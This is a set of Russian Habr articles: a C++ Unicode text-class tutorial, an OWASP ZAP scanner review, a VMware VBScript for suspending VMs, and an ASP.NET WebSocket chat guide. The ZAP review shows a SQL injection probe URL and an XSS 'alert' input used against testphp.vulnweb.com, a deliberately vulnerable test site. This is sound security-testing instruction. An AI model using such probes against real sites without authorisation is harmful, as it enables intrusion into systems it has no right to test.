Нельзя не вспомнить и о Windows-разработке. Счастливых обладателей WinAPI ждет очередная пара функций с кучей параметров: WideCharToMultiByte и MultiByteToWideChar. Делают эти функции ровно то, что говорят их названия. Указываем кодировку, параметры входного и выходного массива и флаги и получаем результат. Несмотря на то что функции эти внешне страшненькие, работу свою делают быстро и эффективно. Правда, не всегда точно: могут попытаться преобразовать символ в похожий, поэтому осторожнее с флагами, которые передаются вторым параметром в функцию, лучше указать WC\_NO\_BEST\_FIT\_CHARS.
Пример использования:
```
WideCharToMultiByte( CP_UTF8,
WC_NO_BEST_FIT_CHARS,
pszWideSource, nWideLength,
pszByteSource, nByteLength,
NULL, NULL );
```
Разумеется, этот код не переносим на любую платформу, кроме Windows, поэтому крайне рекомендую пользоваться кросс-платформенными библиотеками ICU4C или libiconv.
> Наиболее популярная библиотека — именно libiconv, однако в ней используются исключительно параметры char\*. Это не должно пугать, в любом случае массив чисел любой битности — это всего лишь набор байтов. Следует, однако, помнить про направление двубайтовых и более чисел. То есть в каком порядке в байтовом массиве представлены байты — компоненты числа. Различают Big-endian и Little-endian соответственно. Общепринятый порядок представления чисел в подавляющем большинстве машин — Little-endian: сначала идет младший байт, а в конце старший байт числа. Big-endian знаком тем, кто работает с протоколами передачи данных по сети, где числа принято передавать начиная со старшего байта (часто содержащего служебную информацию) и кончая младшим. Следует быть аккуратным и помнить, что UTF-16, UTF-16BE и UTF-16LE — не одно и то же.
#### Класс текста
Давай теперь аккумулируем полученные знания и решим исходную задачу: нам нужно создать сущность, по сути класс, инициализируемый строкой, либо «широкой», либо байтовой, с указанием кодировки, и предоставляющий интерфейс привычного контейнера строки std::string, с возможностью обращения к элементам-символам, изменяя их, удаляя, преобразуя экземпляр текста в строке как «широкой», так и байтовой с указанием кодировки. В общем, нам нужно значительно упростить работу с Юникодом, с одной стороны, и получить совместимость с прежде написанным кодом, с другой стороны.
Класс текста, таким образом, получит следующие конструкторы:
```
text(char const* byte_string, char const* encoding);
text(wchar_t const* wide_string);
```
Стоит перегрузить также от std::string и std::wstring вариантов, а также от итераторов начала и конца контейнера-источника.
Доступ к элементу, очевидно, должен быть открыт, но в качестве результата нельзя использовать байтовый char или платформозависимый wchar\_t, мы должны использовать абстракцию над целочисленным кодом в таблице Юникода: symbol.
```
symbol& operator [] (int index);
symbol const& operator [] (int index) const;
```
Таким образом, становится очевидно, что мы не можем сохранять строку Юникода в виде char или wchar\_t строки. Нам нужно как минимум std::basic\_string, поскольку на данный момент кодировки UTF-8 и UTF-16 кодируют символы в пределах int32\_t, не говоря про UTF-32.
С другой стороны, за пределами класса text никому не нужен наш `std::basic\_string`, назовем его `unicode\_string`. Все библиотеки любят работать с `std::string` и `std::wstring` или `char const\*`` и `wchar\_t const\*`. Таким образом, лучше всего кешировать как входящий std::string или std::wstring, так и результат перекодировки текста в кодировку байт-строки. Мало того, часто наш класс text понадобится лишь как временное хранилище для путешествующей строки, например байтовой в UTF-8 из базы данных в JSON-строку, то есть перекодирование в unicode\_string нам понадобится лишь по требованию обратиться к элементам — символам текста. Текст и его внутреннее представление — это тот класс, который должен быть оптимизирован по максимуму, так как предполагает интенсивное использование, а также не допускать перекодировок без причины и до первого требования. Пользователь API класса text должен явно указать, что хочет преобразовать текст в байтовую строку в определенной кодировке либо получить специфичную для системы «широкую» строку:
```
std::string const& byte_string(std::string const& encoding) const;
std::wstring const& wide_string() const;
```
Как видно выше, мы возвращаем ссылку на строку, которую мы высчитали и сохранили в поле класса. Разумеется, нам нужно будет почистить кеш с `std::string` и `std::wstring` при первом же изменении значения хотя бы одного символа, здесь нам поможет operator -> от неконстантного this класса данных `text::data`. Как это делать, смотри предыдущие два урока академии C++.
Нужно не забыть также и о получении char const\* и wchar\_t const\*, что несложно делается, учитывая то, что std::string и std::wstring кешируются полями класса text.
```
char const* byte_c_str(char const* encoding) const;
wchar_t const* wide_c_str() const;
```
Реализация сводится к вызову `c\_str()`` у результатов byte\_string и wide\_string соответственно.
Можно считать кодировкой по умолчанию для байтовых строк UTF-8, это гораздо лучше, чем пытаться работать с системной кодировкой по умолчанию, так код в зависимости от системы будет работать по-разному. Введя ряд дополнительных перегрузок без указания кодировки при работе с байтовыми строками, мы также получаем возможность переопределить оператор присвоения:
```
text& operator = (std::string const& byte_string); // в кодировке ”UTF-8”
text& operator = (std::wstring const& wide_string);
```
Нужно также не забыть о перегрузке операторов + и +=, но в целом остальные операции можно уже сводить к аргументу и результату типа text, универсальному значению, предоставляющему текст вне зависимости от кодировки.
Разумеется, Академия C++ не была бы академией, если бы я не предложил тебе теперь реализовать класс текста самостоятельно. Попробуй создать класс text на основе материала этой статьи. Реализация должна удовлетворять двум простым свойствам:
* Классом должно быть удобнее пользоваться, чем стандартными строками, вдобавок класс предоставляет совместимость либо взаимное преобразование с типами `std::string`, `std::wstring`, `char const\*`` и `wchar\_t const\*`.
* Класс подразумевает максимальную оптимизацию, работа со строками не должна быть дороже, чем при работе со стандартными std::string и std::wstring. То есть никаких неявных перекодировок, пока API явно не подразумевает перекодировку содержимого, иначе классом никто не будет пользоваться.
Здесь как раз имеет смысл обработать дополнительно неконстантный `operator ->`` для сброса кеша со строками, однако оставляю это на усмотрение разработчика. То есть тебя. Удачи!
> Разумеется, в реализации не обойтись без класса `copy\_on\_write` из предыдущих статей. Как обычно, на всякий случай напоминаю его упрощенный вид:
>
>
>
>
> ```
> template
> class copy\_on\_write
> {
> public:
> copy\_on\_write(data\_type\* data)
> : m\_data(data) {
> }
> data\_type const\* operator -> () const {
> return m\_data.get();
> }
> data\_type\* operator -> () {
> if (!m\_data.unique())
> m\_data.reset(new data\_type(\*m\_data));
> return m\_data.get();
> }
> private:
> std::shared\_ptr m\_data;
> };
>
> ```
>
#### Что мы получаем
Реализовав класс text, мы получим абстракцию от множества кодировок, все, что нам потребуется, — одна перегрузка от класса text. Например, так:
```
text to_json() const;
void from_json(text const& source);
```
Нам больше не нужно множество перегрузок от `std::string` и `std::wstring`, не нужно будет переходить на поддержку «широких» строк, достаточно заменить в API ссылки на строки на text, и получаем Юникод автоматом. Вдобавок мы получаем отличное кросс-платформенное поведение, вне зависимости от того, какую библиотеку мы выбрали в качестве движка перекодировки, — ICU4C или libiconv, ввиду того, что внутреннее представление у нас всегда UTF-32 при распаковке символов и мы нигде не завязаны на платформозависимый wchar\_t.
Итого: у нас есть совместимость либо взаимоконвертация со стандартными типами, а значит, и упрощение поддержки Юникода на стороне кода, написанного на С++. Ведь если мы пишем высокоуровневую логику на C++, меньше всего нам хочется получить проблемы при использовании wchar\_t символов и кучи однообразного кода при обработке и перекодировке текста.
При том что сама перекодировка уже реализована в тех же ICU4C и libiconv, алгоритм для внутренней работы класса text довольно прост. Дерзай, и, может, уже завтра именно твоя библиотека работы с текстом будет использоваться повсюду в качестве высокоуровневой абстракции при обработке любых текстовых данных, от простого JSON с клиента до сложных текстовых структур со стороны различных баз данных.

*Впервые опубликовано в журнале Хакер #191.
Автор: Владимир [Qualab](https://habrahabr.ru/users/qualab/) Керимов, ведущий С++ разработчик компании Parallels*
Подпишись на «Хакер»
* [Материалы сайта](https://xakep.ru/wp-admin/profile.php?page=paywall_subscribes)
* [Бумажный вариант](http://bit.ly/habr_subscribe_paper)
* [«Хакер» на iOS/iPad](http://bit.ly/xakep_on_ipad)
* [«Хакер» на Android](http://bit.ly/habr_android) | https://habr.com/ru/post/257895/ | null | ru | null |
# Обзор OWASP ZAP. Сканер для поиска уязвимостей в веб-приложениях
Сегодня почти у каждой организации есть собственный веб-сайт. Вместе с ростом интернета возрастают и атаки на веб-сайты, становясь все более серьезнее и масштабнее. Однако существует обширный список инструментов, которые могут производить сканирование и находить уязвимости в веб-приложениях. Одним из таких инструментов является сканер уязвимостей под названием OWASP ZAP.
**OWASP ZAP** — сканер веб-приложений, [основанный на методике DAST](https://www.zaproxy.org/blog/2020-05-15-dynamic-application-security-testing-with-zap-and-github-actions/) (Dynamic Application Security Testing). В русском варианте этот метод принято называть методом тестирования «черного ящика». Методика позволяет обнаруживать проблемы безопасности в работающем приложении или веб-сайте при помощи их сканирования на известные уязвимости. К таким уязвимостям можно отнести SQL-инъекции, межсайтовый скриптинг (XSS), Clickjacking и т.д.
OWASP ZAP разработан и поддерживается одноименным проектом под названием OWASP (Open Web Application Security Project) — некоммерческой организацией, которая специализируется на создании статей, материалов, документации, инструментов и технологий, позволяющих разрабатывать приложения безопаснее, а также обеспечивать должный уровень информационной безопасности уже созданных приложений и сайтов.
В качестве преимуществ OWASP ZAP можно выделить:
* Кроссплатформенность — поддержка всех основных ОС (Windows, Linux, MacOS);
* Бесплатный проект [с открытым исходным кодом](https://github.com/zaproxy/zaproxy);
* Поддержка плагинов для расширения функциональности;
* Возможность работы как через графический интерфейс (GUI), так и через интерфейс командной строки;
* Обширный набор функций — от активного/пассивного сканирования и до сканирования API и AJAX;
* Простота использования. Идеально подходит и для начинающих специалистов в ИБ и для профессионалов.
Установка
---------
OWASP ZAP является кроссплатформенным ПО и может быть установлен на Windows, Linux и MacOS. Также запуск возможен в контейнере Docker. Для установки и запуска программы на Windows и Linux требуется заранее предустановленная Java версии 11 и выше. Установщик для MacOS уже включает в себя Java. Для запуска в контейнере Docker также заранее не нужна предустановленная Java. На [официальном сайте](https://www.zaproxy.org/download/) находятся установщики и инструкции для каждой ОС.
Для Docker отдельно представлены образы со следующими тегами:
[Stable](https://hub.docker.com/r/owasp/zap2docker-stable/) — стандартная (обычная) версия;
[Bare](https://hub.docker.com/r/owasp/zap2docker-bare/) — минимальный версия. Содержит только самые необходимые функции. Идеально подходит для запуска в командной строке;
[Weekly](https://hub.docker.com/r/owasp/zap2docker-weekly/) — версия, обновления для которой выходят каждую неделю;
[Live](https://hub.docker.com/r/owasp/zap2docker-live/) — бета-версия. Содержит самый последний релиз.
В дистрибутиве Kali Linux OWASP ZAP уже предустановлен в системе (при условии, что на этапе установке ОС в разделе **Software selection** был выбран пункт **default recommended tools** или **large default selection plus additional tools**, в противном случае установить OWASP ZAP необходимо вручную).
В качестве примера будет использоваться последняя актуальная версия 2.12.0 в ОС Kali Linux.
Принцип работы
--------------
При сканировании ZAP создает собственный прокси-сервер, через который обрабатываются все запросы на сканирование. ZAP включает в себя специальные поисковые роботы (краулеры), которые выполняют идентификацию уязвимостей. Прокси-сервер располагается между браузером пользователя и конечным веб-приложением. Схема работы изображена ниже.
Обзор основных функций графического интерфейса OWASP ZAP
--------------------------------------------------------
После запуска программы отображается главное окно, в котором находятся следующие основные параметры:
### 1) Режимы сканирования
В OWASP ZAP существуют 4 режима сканирования:
**Standard Mode** — обычное сканирование;
**Safe Mode** — безопасное сканирование, позволяющее выполнять только те действия, которые не смогут навредить системе. В этом режиме не используются атаки на целевой сайт;
**Protected Mode** — защищенное сканирование, позволяющее имитировать потенциально опасные уязвимости;
**ATTACK Mode** — режим атаки, позволяющий, помимо сканирования, также выполнять атаки на потенциальный сайт/приложение.
### 2) Сайты
Здесь отображаются сайты, которые сканируются в данный момент или уже были просканированы. Также в данном разделе отображается полная структура сайта.
### 3) Раздел со сканированием
Основной раздел, в котором запускается сканирование сайта.
### 4) Результаты
Раздел с результатами располагается внизу и подразделяется на вкладки History, Search, Alerts, Output.
**History** — отображает список всех запросов в том порядке, в котором они были отправлены;
**Search** — позволяет производить поиск при помощи регулярных выражений в URL-адресах, запросах, ответах, заголовках;
**Alerts** — отображает найденные уязвимости в сканированном веб-сайте. Уязвимости разбиты на категории. Каждой найденной уязвимости присваивается степень критичности. Описание данного раздела будет рассмотрено далее;
**Output** — отображает различные информационные сообщения. Например, трассировку стека, ошибки и другую отладочную информацию.
### Плагины
OWASP ZAP поддерживает установку сторонних плагинов, благодаря чему можно существенно расширить функциональность программы. Для перехода в раздел **Плагины** необходимо щелкнуть по значку с названием **Manage Add-ons:**
В открывшемся окне будет два раздела — **Installed** и **Marketplace**. В разделе **Installed** отображается список всех установленных плагинов в системе.
В разделе **Marketplace** можно находить плагины и устанавливать их.
Если щелкнуть по плагину, то внизу отобразится его имя, статус, версия и описание. Также предусмотрены ссылки на документацию к плагину и на его исходный код на сайте GitHub. Плагины разрабатывает команда OWASP и энтузиасты. У всех плагинов открытый исходный код, и они полностью бесплатны в использовании.
Также для просмотра и поиска необходимых плагинов можно [перейти на официальный сайт в раздел плагины](https://www.zaproxy.org/addons/):
### Сканирование веб-сайтов на наличие уязвимостей
Перейдем к процессу сканирования. В качестве теста возьмем сайт [testphp.vulnweb.com](http://testphp.vulnweb.com/), который специально создан для тестирования на безопасность, и в котором уже присутствуют некоторые уязвимости. Тем самым будет наглядно показан процесс сканирования и поиск уязвимостей. Список сайтов, которые содержат уязвимости, можно взять с [vulnweb.com](http://vulnweb.com/).
Для того чтобы запустить сканирование, необходимо перейти в раздел **Quick Start**. Рассмотрим его параметры:
**URL to attack** — задается URL сайта, который необходимо просканировать/атаковать.
**Use traditional spider** — использование стандартного «паука» при сканировании.
> В терминологии OWASP ZAP **паук** — это инструмент, который предназначен для автоматического обнаружения новых URL-адресов на проверяемом сайте. «Паук» анализирует HTML-код страницы для поиска ссылок, далее найденные ссылки добавляются в список и также сканируются на наличие уязвимостей. Если чек-бокс будет проставлен, то будет использоваться стандартный «паук», в противном случае найденные URL на странице сканироваться не будут.
>
>
**USE ajax spider** — использование ajax «паука» при сканировании. Если в сканируемом сайте активно используется технология ajax (Asynchronous Javascript and XML — асинхронный JavaScript и XML), то можно использовать данный параметр. В этом режиме приложение, основанное на ajax, будет обрабатывать легче. Работает медленнее, чем обычный паук.
Для того чтобы начать сканирование/атаку, необходимо нажать на кнопку **Attack.**
После этого начнется процесс сканирования. Сначала запускается «паук», который ищет все URL, имеющие отношение к сканирующему сайту. В столбце **Method** отображаются методы, которые используются для получения URL и их статусы (столбец Processed).
Как правило, используются методы GET и POST. Если статус 200, то отображается зеленый кружок, если статусы 404 или 500, то — красный. В зависимости от структуры сайта и его наполнения сканирование на URL может занять длительное время. После того как все URL найдены запускается активное сканирование.
**Активное сканирование** — сканирование, при котором осуществляется попытка найти потенциальные уязвимости, используя известные атаки.
Для просмотра атак, которые используются при активном сканировании, а также для просмотра их прогресс-статуса необходимо нажать на кнопку со значком мониторинга — **Show scan progress details**:
Название уязвимости отображено в столбце **Analyser**, прогресс сканирования отображается в столбце **Progress**. В столбце **Elapsed** выводится время, которое было затрачено на сканирование данной уязвимости.
В числе атак, которые использует ZAP, можно выделить такие атаки как SQL-инъекции, XSS (Cross-site-scripting), CRLF-инъекции и т.д. Также, помимо атак, происходит сбор информации, включающий в себя версии и названия используемых компонентов — такие как веб-сервер, СУБД.
Так же, как и с поиском ULR, процесс активного сканирования может занять долгое время.
Любую проверку можно пропустить, нажав на кнопку с синей стрелкой — **Skip active scanner**:
Все найденные уязвимости будут находиться в разделе **Alerts**. Уязвимости группируются по категориям:
С полным списком всех возможных уязвимостей, которые распознает и использует OWASP ZAP, а также их подробное описание можно найти в [соответствующем разделе на официальном сайте ZAP](https://www.zaproxy.org/docs/alerts/).
Каждой группе уязвимостей присваивается уровень риска, который обозначается своей цветовой гаммой. В OWASP ZAP существует 5 таких категорий:
**High** — самый высокий (критический) уровень уязвимостей. Сюда относят SQL-инъекции, атаки типа path traversal, LDAP-инъекции, Spring4Shell и другие. Обозначается красным флажком.
**Medium** — средний уровень критичности найденных уязвимостей. Сюда относят Directory Browsing, HTTPOnly, XSLT-инъекции и другие. Обозначается оранжевым флажком.
**Low** — низкий уровень найденных уязвимостей. Сюда относят найденную информацию, связанную с отладкой, раскрытие частных IP-адресов (Private IP Disclosure) и другие. Обозначается жёлтым флажком.
**Informational** — информационный уровень, который сообщает о том, что найдена информация об используемых компонентах веб-сайта, а также о сервере. Сюда относят версии веб-сервера, СУБД, библиотек, фреймворков, а также версии языков программирования и операционных систем. Как правило, уязвимости, относящиеся к данной категории не могут напрямую навредить системе, однако повышают риск сбора информации о сайте и его компонентах. Обозначается синим флажком.
**False Positive** — ложные срабатывания. В редких случаях ZAP может найти уязвимость, которая не является уязвимостью. Если возникает сомнение, то программа помечает такую «уязвимость» зеленым флажком. Однако пользователь должен сам убедиться и проверить, является ли найденная уязвимость таковой или нет.
После того как сканирование было завершено, в разделе **Alerts** отобразятся все найденные проблемы безопасности. Если раскрыть группу уязвимости, то отобразятся все URL, в которых были найдены уязвимости данного типа:
Справа будет отображено полное описание, которые включает в себя тип атаки, риск, CWE номер, WASC номер, описание, а также способ устранения найденной уязвимости. Также отобразить всю подробную информацию можно в отдельном окне путем двойного щелчка левой кнопки мыши по уязвимости:
Если щелкнуть правой кнопкой мыши по уязвимости, то отобразится контекстное меню, в котором доступно большое количество опций, например, можно сразу перейти по URL, где найдена уязвимость (Open URL in Browser), сохранить страницу в формате XML (Save XML) или в «сыром» формате (Save Raw), удалить уязвимость из текущего списка сканирования (Delete) и другие опции:
Если уязвимое место найдено непосредственно в HTML коде или в коде JavaScript, то такой участок будет выделен, чтобы его можно было сразу опознать:
Также отображается HTTP/HTTPS заголовок и его параметры:
Убедимся, что на просканированном сайте действительно найдены уязвимости. В качестве примера возьмем две атаки — SQL-инъекцию и XSS.
В разделе **Alerts** необходимо раскрыть группу под названием **SQL Injection** и перейти по найденной ссылке:
Далее необходимо изменить строку с параметром на другой символ, например на символ одинарной кавычки. URL выглядит так — <http://testphp.vulnweb.com/listproducts.php?artist=3+AND+1%3D1+--+>
Удаляем все, что написано после символа равно. В данном случае меняем параметр 3+AND+1%3D1+--+ на символ ‘ и переходим по новой ссылке:
Как можно увидеть, появилось сообщение об ошибке в SQL синтаксисе, благодаря которому на данном сайте возможно произвести SQL-инъекцию.
Далее проверим, можно ли произвести XSS атаку. Для этого необходимо раскрыть группу с названием **Cross Site Scripting** и перейти по ссылке, где была найдена эта уязвимость:
В этом разделе сайта присутствует поле для ввода текста:
Введем в него JavaScript код:
```
alert("Test!")
```
Как можно увидеть, сайт принял введенный JavaScript код и отобразил диалоговое окно с текстом Test!
### Создание отчета
OWASP ZAP позволяет генерировать отчеты по результатам сканирования. Для того чтобы создать отчет, необходимо перейти в раздел **Report,** далее выбрать **Generate Report**:
В открывшемся окне будет предложено изменить отчет перед его созданием. В разделе **Scope** можно задать базовые настройки — Заголовок отчета (**Report Title**), имя отчета (**Report Name**), путь, куда будет сохранен отчет (**Report Director**y):
В разделе **Template** можно выбрать один из предложенных шаблонов для сохранения отчета. Каждый шаблон оформлен по-особенному. В качестве примера сгенерируем отчет при помощи шаблона **High Level Report Sample,** в котором найденные уязвимости будут отображены в виде круговой диаграммы:
В разделе **Filter** можно выбрать, какие группы рисков стоит включить или исключить из отчета:
После того как все параметры для генерации заданы, необходимо нажать на кнопку **Generate Report**. После этого отчет будет сохранен по ранее заданному пути, а также будет открыт автоматически в браузере пользователя:
Подводя итог, можно сказать, что сканер OWASP ZAP является отличным, бесплатным решением для поиска уязвимостей на сайтах и в веб-приложениях. Функциональность программы можно расширить при помощи плагинов. Также имеется обширная документация и подробное описание всех используемых уязвимостей.
---
НЛО прилетело и оставило здесь промокод для читателей нашего блога:
— [15% на все тарифы VDS](https://firstvds.ru/?utm_source=habr&utm_medium=article&utm_campaign=product&utm_content=vds15exeptprogrev) (кроме тарифа Прогрев) — **HABRFIRSTVDS**. | https://habr.com/ru/post/709586/ | null | ru | null |
# VMware Server :: управляемся с парком машин
Всем привет ;)
Продолжаем… (кто пропустил [шаг назад](http://habrahabr.ru/blogs/i_am_clever/39110/))
Интересно, а как вы управляетесь с виртуальными машинами?!
Каждый раз, когда Вы делаете snapshot, ставите на паузу или выключаете машину(ы) Вы тратите на это время?!
Тогда мы идем к Вам! :)
Попытаюсь рассказать, как лично я автоматизировал работу с виртуальными машинами.
Многим это покажется полной тупостью, но это решение и ОНО найдено руками пользователя, а не разработчика.
Начнем с самого болезненого, с выключения. Почему с него, да потому что обычно на него никогда не хватает время, вечно куда-то опаздываешь. Ну или, например, оставляешь коллеге, а он по забывчивости не выключает ее.
Не знаю как у остальных, но на моей практике доказано: если выставить машину в режим самовыключения (*режим On host shutdown — Shut down guest operating system*), то вероятность некорректного выключения очень высока. Vmware просто не успевает корректно все остановить.
Если у кого-то есть желание, можно испытать: берем сервер, запускаем несколько машин c ОС FreeBSD, запускаем на них нагрузочные тесты, выключаем ОС под которой крутится VM. Получаем при новом старте запуск fsck на FreeBSD.
Итого: в таких ситуациях рекомендую VMware ставить на паузу. При снятии с паузы вам остается только синхронизировать время.
*А знаете ли вы?!: при плотной загрузке виртуальными машинами физ.сервера, происходит замедление времени на каждой из них.*
Переходим к самому интересному.
Реализация скрипта для автоматического перехода в режим паузы, всех работающих машин.
*А знаете ли вы?!: под VMware можно разрабатывать скрипты управления машинами.
Более подробно можно почитать на <http://www.vmware.com/support/pubs/server_pubs.html>*
Перед Вами представлен модифицированный пример-скрипт из поставки дистрибутива VMware (на чем он написан тут все сказано):
Примитивный алгоритм работы:
1. Проверка всех зарегистрированных машин (определенных в invetory).
1.1. Машина работает.
1.1.1 Ставим на паузу
1.1.2 Проверяем встала или нет.
check\_vm.vbs — основной скрипт
`> '
>
> ' VmCOM VBScript Sample Script (sample2)
>
> ' Copyright 1998 VMware, Inc. All rights reserved. -- VMware Confidential
>
> '
>
> ' Permission is hereby granted, free of charge, to any person obtaining a
>
> ' copy of the software in this file (the "Software"), to deal in the
>
> ' Software without restriction, including without limitation the rights to
>
> ' use, copy, modify, merge, publish, distribute, sublicense, and/or sell
>
> ' copies of the Software, and to permit persons to whom the Software is
>
> ' furnished to do so, subject to the following conditions:
>
> '
>
> ' The above copyright notice and this permission notice shall be included in
>
> ' all copies or substantial portions of the Software.
>
> '
>
> ' The names "VMware" and "VMware, Inc." must not be used to endorse or
>
> ' promote products derived from the Software without the prior written
>
> ' permission of VMware, Inc.
>
> '
>
> ' Products derived from the Software may not be called "VMware", nor may
>
> ' "VMware" appear in their name, without the prior written permission of
>
> ' VMware, Inc.
>
> '
>
> ' THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
>
> ' IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
>
> ' FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
>
> ' VMWARE,INC. BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
>
> ' IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
>
> ' CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
>
> '
>
> ' ------
>
> '
>
> ' This program is for educational purposes only.
>
> ' It is not to be used in production environments.
>
> '
>
> ' Description:
>
> '
>
> ' This script displays the virtual machines on the local server.
>
> ' It prints the configuration file path and current execution
>
> ' state of each VM. If a VM is in the stuck state, the current
>
> ' question and its choices are also printed.
>
> ' Additionally, if a VM is stuck on an undoable disk related
>
> ' question, the script automatically answers 'Keep' on a power-off
>
> ' and 'Append' on a power-on.
>
> '
>
> ' NOTE: the question-answering logic used is language and product
>
> ' dependent, and is only provided for illustration purposes only!
>
> '
>
> ' Instructions for Windows 2000 and later operating systems:
>
> '
>
> ' - save the contents of this file to a file named 'sample2.vbs'
>
> ' unless it's already named that way
>
> '
>
> ' - there should be an accompanying file named 'sample2.wsf'
>
> ' It is placed in the same directory as this file during
>
> ' product installation. This file is responsible for setting
>
> ' up the Windows Script Host environment and loading the
>
> ' VmCOM type library, thereby enabling this script to
>
> ' reference symbolic constants such as vmExecutionState\_On
>
> '
>
> ' - in a command line window, type:
>
> ' cscript //nologo sample2.wsf
>
> '
>
>
>
> Set cp = CreateObject("VmCOM.VmConnectParams")
>
> Set server = CreateObject("VmCOM.VmServerCtl")
>
>
>
> server.Connect cp
>
> Set vmCollection = server.RegisteredVmNames
>
>
>
> for each vmName in vmCollection
>
> Set vm = CreateObject("VmCOM.VmCtl")
>
> s = "path=" & vmName
>
> On error resume next ' Clear error object
>
> vm.Connect cp,vmName
>
> if err.Number = vmErr\_VMBUSY then
>
> s = s & " UNAVAILABLE (controlled by local console)"
>
> elseif err.Number <> 0 then
>
> s = s & " ERROR CONNECTING desc='" & err.Description & "'"
>
> else
>
> On error goto 0 'Make errors fatal past this point
>
> s = s & " state=" & State2Str(vm) & " os=" & vm.Config("guestos")
>
> if vm.ExecutionState = vmExecutionState\_Stuck then
>
> Set q = vm.PendingQuestion
>
> Set choices = q.choices
>
> s = s & " question= '" & q.text & "' choices="
>
> for each choice in choices
>
> s = s & "[" & choice & "] "
>
> next
>
>
>
> ' If this looks like an undoable disk save question,
>
> ' automatically answer 'Append' or 'Keep'
>
> '
>
> ' NOTE: this code makes alot of assumptions about the product
>
> ' and the language used, and may break under some environments.
>
> ' It is shown for illustration purposes only!
>
>
>
> Set r = new RegExp
>
> r.pattern = "undoable disk"
>
> r.ignorecase = True
>
> Set matches = r.Execute(q.text)
>
>
>
> if matches.count > 0 then
>
> for i = 1 to choices.count
>
> if choices(i) = "Append" or choices(i) = "Keep" then
>
> WScript.Echo(s)
>
> s = " --> Automatically selecting '" & q.choices(i) & "' as answer"
>
> vm.AnswerQuestion q,i
>
> exit for
>
> end if
>
> next
>
> end if
>
> end if
>
> end if
>
> WScript.Echo(s)
>
> Recheck(vm) 'добавляем вызов функции
>
> next
>
>
>
> function State2Str(vm)
>
> select case vm.ExecutionState
>
> case vmExecutionState\_On
>
> State2Str = "ON"
>
> case vmExecutionState\_Off
>
> State2Str = "OFF"
>
> case vmExecutionState\_Suspended
>
> State2Str = "SUSPENDED"
>
> case vmExecutionState\_Stuck
>
> State2Str = "STUCK"
>
> case else
>
> State2Str = "UNKNOWN"
>
> end select
>
> end function
>
> ' Вот и сама функция, выставления ее на паузу и повторной проверки статуса машины
>
> function Recheck(vm)
>
> if vm.ExecutionState = vmExecutionState\_On then 'Проверка работы машины
>
> vm.Suspend (vmPowerOpMode\_Hard) ' Установка паузы, в документации описаны дполнительные режимы паузы (можно использовать другие)
>
> WScript.Echo "Recheck this VM\_machine state=" & State2Str(vm) 'вывод в лог повторной проверки
>
> WScript.Sleep(10000) 'Тайм аут, даем время все закрыть
>
> end if
>
> end function\* This source code was highlighted with Source Code Highlighter.`
Далее запускаемый скрипт *check\_vm.wsf*, от которого передается управление к основному *check\_vm.vbs*:
`> "Check\_vm">
>
> object="VmCOM.VmCtl" />
>
>` | https://habr.com/ru/post/39130/ | null | ru | null |
# Делаем чат на ASP.NET с помощью Web Socket
#### Вступление
Я думаю, что многие веб-разработчики задают себе вопрос о том, как передать пользователю какое-либо сообщение, напоминание. Раньше для этого было необходимо постоянно отправлять запросы к веб-серверу, но теперь появилась такая удобная технология, как Web Socket.
В этой статье я хочу показать, как можно написать простой чат на ASP.NET MVC 4 с помощью Web Socket.
#### Приступаем
Для начала нам необходимо создать пустой проект ASP.NET MVC 4

И добавить в него универсальный обработчик ChatHandler

Теперь изменим код метода ProcessRequest нашего обработчика на
```
public void ProcessRequest(HttpContext context)
{
//Если запрос является запросом веб сокета
if (context.IsWebSocketRequest)
context.AcceptWebSocketRequest(WebSocketRequest);
}
```
Добавим 2 переменные
```
// Список всех клиентов
private static readonly List Clients = new List();
// Блокировка для обеспечения потокабезопасности
private static readonly ReaderWriterLockSlim Locker = new ReaderWriterLockSlim();
```
И напишем основной метод нашего чата
```
private async Task WebSocketRequest(AspNetWebSocketContext context)
{
// Получаем сокет клиента из контекста запроса
var socket = context.WebSocket;
// Добавляем его в список клиентов
Locker.EnterWriteLock();
try
{
Clients.Add(socket);
}
finally
{
Locker.ExitWriteLock();
}
// Слушаем его
while (true)
{
var buffer = new ArraySegment(new byte[1024]);
// Ожидаем данные от него
var result = await socket.ReceiveAsync(buffer, CancellationToken.None);
//Передаём сообщение всем клиентам
for (int i = 0; i < Clients.Count; i++)
{
WebSocket client = Clients[i];
try
{
if (client.State == WebSocketState.Open)
{
await client.SendAsync(buffer, WebSocketMessageType.Text, true, CancellationToken.None);
}
}
catch (ObjectDisposedException)
{
Locker.EnterWriteLock();
try
{
Clients.Remove(client);
i--;
}
finally
{
Locker.ExitWriteLock();
}
}
}
}
}
```
Теперь наш обработчик должен выглядеть так:
**Скрытый текст**
```
public class ChatHandler : IHttpHandler
{
// Список всех клиентов
private static readonly List Clients = new List();
// Блокировка для обеспечения потокабезопасности
private static readonly ReaderWriterLockSlim Locker = new ReaderWriterLockSlim();
public void ProcessRequest(HttpContext context)
{
//Если запрос является запросом веб сокета
if (context.IsWebSocketRequest)
context.AcceptWebSocketRequest(WebSocketRequest);
}
private async Task WebSocketRequest(AspNetWebSocketContext context)
{
// Получаем сокет клиента из контекста запроса
var socket = context.WebSocket;
// Добавляем его в список клиентов
Locker.EnterWriteLock();
try
{
Clients.Add(socket);
}
finally
{
Locker.ExitWriteLock();
}
// Слушаем его
while (true)
{
var buffer = new ArraySegment(new byte[1024]);
// Ожидаем данные от него
var result = await socket.ReceiveAsync(buffer, CancellationToken.None);
//Передаём сообщение всем клиентам
for (int i = 0; i < Clients.Count; i++)
{
WebSocket client = Clients[i];
try
{
if (client.State == WebSocketState.Open)
{
await client.SendAsync(buffer, WebSocketMessageType.Text, true, CancellationToken.None);
}
}
catch (ObjectDisposedException)
{
Locker.EnterWriteLock();
try
{
Clients.Remove(client);
i--;
}
finally
{
Locker.ExitWriteLock();
}
}
}
}
}
public bool IsReusable
{
get
{
return false;
}
}
}
```
Теперь мы можем написать простенькую html страничку, которая будет содержать Web Socket, подключающийся к нашему обработчику
```
Простой чат
var socket,
$txt = document.getElementById('message'),
$user = document.getElementById('user'),
$messages = document.getElementById('messages');
if (typeof (WebSocket) !== 'undefined') {
